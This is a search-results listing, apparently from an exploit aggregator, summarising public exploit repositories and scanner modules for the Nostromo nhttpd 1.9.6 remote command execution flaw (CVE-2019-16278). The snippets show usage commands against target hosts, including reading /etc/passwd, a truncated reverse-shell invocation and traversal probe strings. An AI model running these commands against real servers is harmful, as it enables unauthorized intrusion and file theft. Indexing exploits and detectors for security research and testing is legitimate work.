79 matches found
CVE-2019-16278
CVE-2019-16278 Remote Command Execution Exploit Script for Nostromo Web Server Introduction A remote command execution vulnerability caused by directory traversal. Similar to CVE-2011-0751, the filtering is not strict, allowing bypass using %0d. Affected Versions nostromo = 1.9.6...
CVE-2019-16278
CVE-2019-16278 CVE-2019-16278Nostromo httpd Command Execution ā Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ā Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ā Downloads python nostromo.py 114.114.114.114 8080 "ls -al" drwxr-xr-x 2 0 0 0 Apr 12 2013...
CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
POC Repository: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git š Description This repository contains a Python exploit for CVE-2019-16278 , a vulnerability in Nostromo 1.9.6 a web server. The vulnerability allows for Remote Code Execution RCE by exploiting...
cve-2019-16278
cve-2019-16278 Nhttpd Nostromo 1.9.6 RCE due to Directory Traversal git clone https://github.com/Kr0ff/cve-2019-16278...
Nostromo_Python3
Nostrom RCE Python3 Exploit Code: Usage: $ python3 ./exp.py vulnerable.host 8080 id uid=65534 gid=65534...
CVE-2019-16278-Nostromo_1.9.6-RCE
CVE-2019-16278 - Nostromo 1.9.6 RCE Python script to exploit RCE in Nostromo nhttpd = 1.9.6. Help usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help show this help message and exit -t TARGET, --target...
CVE-2019-16278
CVE-2019-16278 - Nostromo nhttpd RCE Vulnerability Description Remote Code Execution vulnerability in Nostromo nhttpd versions 2&1 Usage python3 cve-2019-16278.py Example: python3 cve-2019-16278.py 192.168.1.100 80 "id" python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd" python3...
CVE-2019-16278
Exploits for CVE-2019-16278 and CVE-2019-16279 Nostromo httpd is prone to 2 cricital vulnerabilities for versions &1 This bug is due to an incomplete fix for CVE-2011-0751. We can bypass a check for /../ which allows us to execute /bin/sh with arbitrary arguments. Example $ ./CVE-2019-16278.sh...
CVE-2019-16278-Nostromo-1.9.6-RCE
CVE-2019-16278-Nostromo-1.9.6-RCE This repository contains an exploit for CVE-2019-16278 in Nostromo Web Server 1.9.6, allowing remote code execution via a directory traversal vulnerability. The script uses pwntools to establish a reverse shell. For educational and authorized testing use only...
CVE-2019-16278-Nostromo-1.9.6-RCE
CVE-2019-16278-Nostromo-1.9.6-RCE This is a exploit of CVE-2019-16278 for Nostromo 1.9.6 RCE. This exploit allows RCE on the victim machine. Requirements optparse socat sys Usage You can use the exploit as follows: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -...
CVE-2019-16278
CVE-2019-16278 š» -h3x0v3rl0rd- nostromo 1.9.6 - Remote Code Execution...
CVE-2019-16278
CVE-2019-16278 A simple and quick python script to exploit CVE-2019-16278 Nostromo 1.9.6 from a Directory Traversal vulnerability in the function httpverify in Nostromo nhttpd that leads to unauthenticated RCE via a crafted HTTP request. Only takes in host and port of web server as required...
nostromo nhttpd RCE (CVE-2019-16278)
Exploits CVE-2019-16278 directory traversal in httpverify to invoke /bin/sh on nostromo nhttpd = 1.9.6. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """nostromo nhttpd path traversal RCE CVE-2019-16278 ā execute session.""" from future import annotations import ...
nostromo nhttpd - Directory Traversal Detection (CVE-2011-0751)
Detects CVE-2011-0751 by requesting /..%2f..%2f..%2f..%2f..%2fetc/passwd and matching root:x:0:0. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-0751 by requesting /.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...
nostromo 1.9.6 - Remote Code Execution Detection
nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function httpverify. !/usr/bin/env python3 -- coding: utf-8 -- """nostromo nhttpd through 1.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient...
Nostromo Web Server Detection
Detected servers running the Nostromo web server by identifying the Server header in HTTP responses. !/usr/bin/env python3 -- coding: utf-8 -- """Detected servers running the Nostromo web server by identifying the Server header in HTTP responses.""" from kittysploit import from...
CVE-2019-16279
A memory error in the function SSLaccept in nostromo nhttpd through 1.9.6 allows an attacker to trigger a denial of service via a crafted HTTP request...
CVE-2019-16278
Directory Traversal in the function httpverify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request...
